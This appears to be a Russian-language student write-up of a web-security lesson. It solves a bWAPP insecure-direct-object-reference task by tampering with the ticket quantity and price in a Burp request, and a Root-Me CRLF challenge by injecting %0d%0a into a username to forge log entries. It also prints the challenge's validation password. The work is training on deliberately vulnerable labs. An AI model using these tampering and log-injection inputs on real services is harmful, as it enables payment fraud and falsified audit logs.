

Урок 6. IDOOR и CRLF (ROOT-ME: <https://www.root-me.org/Maks-614149>)

Задание 1:

Выполните задание Insecure DOR (Order Tickets) в bWAPP.

Решение:

The screenshot shows the bWAPP application interface and the corresponding HTTP request in Burp Suite. The application page, titled "Insecure DOR (Order Tickets)", asks the user how many movie tickets they want to order (15 EUR per ticket). The user has entered "1" ticket. A red box highlights the confirmation message: "You ordered 50 movie tickets. Total amount charged from your account automatically: 0 EUR. Thank you for your order!". The Burp Suite interface shows the "Repeater" tab with the following request details:

```
1 POST /bwapp/insecure_direct_object_ref_2.php HTTP/1.1
2 Host: 192.168.56.11
3 Content-Length: 46
4 Cache-Control: max-age=0
5 Origin: http://192.168.56.11
6 Upgrade-Insecure-Requests: 1
7 DNT: 1
8 Content-Type: application/x-www-form-urlencoded
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
10 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45
11 Safari/537.36
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13 Referer: http://192.168.56.11/bwapp/insecure_direct_object_ref_2.php
14 Accept-Encoding: gzip, deflate
15 Accept-Language: ru,en-US;q=0.9,en;q=0.8
16 Cookie: uname=Linux+ubuntu+3.13.0-24-generic+2347-Ubuntu+SMP+Fri+May+2+23%3A30%3A00+UTC+2014+x86_64+x86_64+GNU+2FLinux; id=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29; systcl=Linux%0A3.13.0-24-generic; PHPSESSID=6qtlbjrj2r3hgt4ctth5b9gg31; security_level=0
17 Connection: close
18 ticket_quantity=50&ticket_price=0&action=order
```

A red arrow points from the "ticket_quantity=50" part of the request to the "50" in the confirmation message on the application page.

↓
↓
↓


Задание 2:

Выполнить задание

<https://www.root-me.org/en/Challenges/Web-Server/CRLF>

Решение:

← → ↻ Не защищено challenge01.root-me.org/web-serveur/ch14/?username=admin%20authenticated%2e%0d%0aCRLF&password=admin

 Root Me

Authentication v 0.04

Login

Password

Authentication log

```
admin failed to authenticate.  
admin authenticated.  
guest failed to authenticate.  
admin failed to authenticate.  
admin  
failed to authenticate.  
admin failed to authenticate.  
  
admin failed to authenticate.  
admin failed to authenticate.  
admin authenticated.  
  
failed to authenticate.  
admin authenticated  
failed to authenticate.  
admin authenticated.  
failed to authenticate.  
admin authenticated.  
failed to authenticate.  
admin authenticated.  
  
failed to authenticate.  
admin authenticated.  
hacked failed to authenticate.  
admin authenticated.  
CRLF failed to authenticate.
```

Well done, you can validate challenge with this password : rFSP&G0p&5uAg1%